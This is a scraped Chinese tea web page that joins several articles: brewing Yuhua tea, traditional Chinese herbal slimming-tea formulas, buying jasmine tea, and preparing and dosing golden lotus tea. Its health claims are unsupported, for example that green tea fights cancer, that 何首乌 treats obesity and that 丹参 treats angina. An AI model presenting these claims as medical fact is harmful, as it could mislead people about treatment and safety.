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<script language=javascript src="//pic.chayi5.com/2017/1209/21434850420.js" type=text/javascript></script>南京雨花茶冲泡方法之品饮茶香
【冲泡方法】
雨花茶外形细如松针，适合用透明的玻璃杯冲泡，以观其形美。可以用中投法冲泡，水温控制在85℃以下，一边观察茶叶在水中根根竖立，一边等待茶汤渐渐地由透明变成嫩绿。
【品饮茶香】
雨花茶外形酷似松针，条索细紧圆直，锋苗挺秀，白毫隐露，色泽墨绿。冲泡后汤色清澈明亮，滋味鲜爽甘醇，香气清香幽雅，叶底嫩绿匀亮，给人以美的享受。
瘦身茶配方
减肥茶一直都是流行的减肥方法，但是市面上出售的减肥茶如果随便买来喝的话，容易使消化、吸收功能受损害，身体也越吃越虚。所以最近越来越流行根据自己的身体状况，找中医专家对症下药配置中草药瘦身茶。中医依成因、体质等开立减肥处方，分四大类，各有不同的减肥方式。这四大类包括：胃热湿阻型、脾虚湿阻型、肝郁气滞型及肝肾阴虚型。
清热型
对象：30岁以下的白领发胖的原因是应酬多、饮食多油腻、工作压力大等，造成体内热量多余，容易口苦、口臭，易饥饿，情绪烦躁，小便偏黄，爱便秘，从中医来看，除了消脂、利尿外，关键是清热。
使用药材：
决明子，性微寒，可以降血压、降血脂、通便，如果本身血压高又便秘，更应选择决明子茶。但如果体质寒凉，容易拉肚子、胃痛的人，就不适合。
绿茶，属凉性，可以消脂消食，绿茶不但有减肥作用，也有抗癌作用。但绿茶是不发酵茶，中医认为，比较容易刮胃，肠胃不好的人要多留意。
健脾型
对象：有些人胖，只因为气虚，需要健脾。中医认为气虚会使脾的运作不正常，把气补足，能够正常代谢，自然就瘦下来。
使用药材：
薏仁，性平，利湿，因为性质温和效果不快，多半搭配其他药材或食物食用。
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黄耆，味甘，性微温，补中益气，利水退肿。本身没有降脂作用，但在中医理论中，气虚需要补气，以增强身体代谢的效率，黄耆也可增强免疫功能。
茯苓，味甘、性平。补脾又利尿，可以降血糖、镇静、补气、增强免疫功能。
理气型
对象：疏理“气”的运行，使其顺畅的系统在肝，“肝郁则侮脾”，自然容易胖，而且以年轻女性居多，常见症状为，容易胸闷、肚子发涨，情绪起伏不定，严重的导致月经失调。
使用药材：
陈皮，可以帮助消化、祛痰、理气。单独用来减肥效果不强。
玫瑰花，也可以理气，副作用不大，须搭配其他减肥药材。
滋阴型
对象：老年人易肥胖，中医调养重点在滋阴。老年人爱头晕、睡眠质量不好、腰酸、口干等，中医认为是阴血不足，这类病人除了要补血外还要活血。
使用药材：
何首乌，降低血脂，补血，对老年人肥胖疗效较好。
丹参，有轻微补血的作用，可以活血。有降低胆固醇、血脂的效果。对冠状动脉心脏病、心绞痛也有疗效，还可以改善循环.
如何识别和购买花茶
花茶是用茉莉花窨制的，窨制后将花筛出，再烘干即成。成品花茶只有花香，不见花朵。窨过的花已无香气。市场上销售的假花茶，是用窨完的花，加入低级茶。看起来有茶有花、但有花而无味。
花茶外形条索紧细、圆直，明亮有锋苗，色泽深绿、乌黑匀润，有光泽，香气鲜美浓郁，纯正而持久，滋味浓厚、鲜爽而富有收敛性，叶底嫩度为细嫩有芽，叶底色泽黄绿鲜亮。
花茶不含梗、籽、片、末等杂质，杂质越多，质量越差。购买时请注意：
l、不买杂质多的花茶。 2、不买过干、过湿的茶。因为茶叶过干，会变得干枯无味；过湿会使霉菌大量繁殖而引起发霉变质。
3、各种花茶，都有各自的香气风味。如果有异味、异香和邪味者，都不能买。
金莲花茶怎么制作
金莲花具有观赏价值，是常见的一种花卉。此外，金莲花还有药用的价值，可以用来泡茶饮用，不仅香味佳，还能调理身体健康，是不错的花茶饮品。那么，金莲花茶怎么制作呢？下面一起来了解看看。金莲花茶怎么制作？
金莲花茶制作方法简单，取一茶匙金莲花瓣，用一杯滚烫开水冲泡，焖约十分钟后即可；可酌加红糖或蜂蜜饮用。
内服：煎汤，1～2钱。外用：煎水含漱。
金莲花适合搭配木蝴蝶、金银花、百合花、胖大海、莓茶、甘草等一起饮用，对咽炎、咽喉炎、扁桃体炎具有十分良好的保健养生作用！
金莲花泡水一次用几朵？
金莲花泡水喝通常1-3朵就可以了，放多了容易伤肾。
另外不同的金莲花泡水搭配，需要放的金莲花朵数也有差异。具体如下：
1、金莲花菊花茶：金莲花1朵、菊花2朵。
2、金莲花薄荷茶：金莲花2朵，薄荷3克。
3、金莲花金桔桂花茶：金莲花3朵，金桔2颗，桂花2克。
4、金莲花枸杞茶：金莲花2朵，枸杞子10颗。
5、金莲花石斛甘草茶：金莲花2朵，石斛10克，甘草2片。
金莲花茶可以长期喝吗？
金莲花是偏寒凉性的，不适合长期喝，一般一周喝2-3次即可，且如果只是做养生用，建议搭配枸杞、红枣等温性食物一起泡煮，既可以最大程度地发挥金莲花的作用，又可以防止伤肾脏脾胃。
喝金莲花茶的好处
1、清热下火
这是金莲花广为人知的一个功效，人们之所以喜欢在茶水里放上几颗金莲花，就是因为它具有下火的效果，对体热或者是经常熬夜的人是非常合适的。
2、清爽提神
金莲花茶口感清爽，并且具有一定的提神作用，特别适合上班族早上饮用。
3、排毒养颜
茶水里面放上几颗金莲花，不仅可以降火，还能美容，对女性朋友来说非常合适。
4、治便秘
对经常便秘的朋友来说，适量饮用一些金莲花茶也是很有好处的，因为它可以促进排便。
金莲花功效不错，正常情况下，一般人群都适宜饮用。但是金莲花是毛茛科植物，有一定的毒性。所以不能大量饮用，也不适宜长期饮用，偶尔适量的饮用即可。
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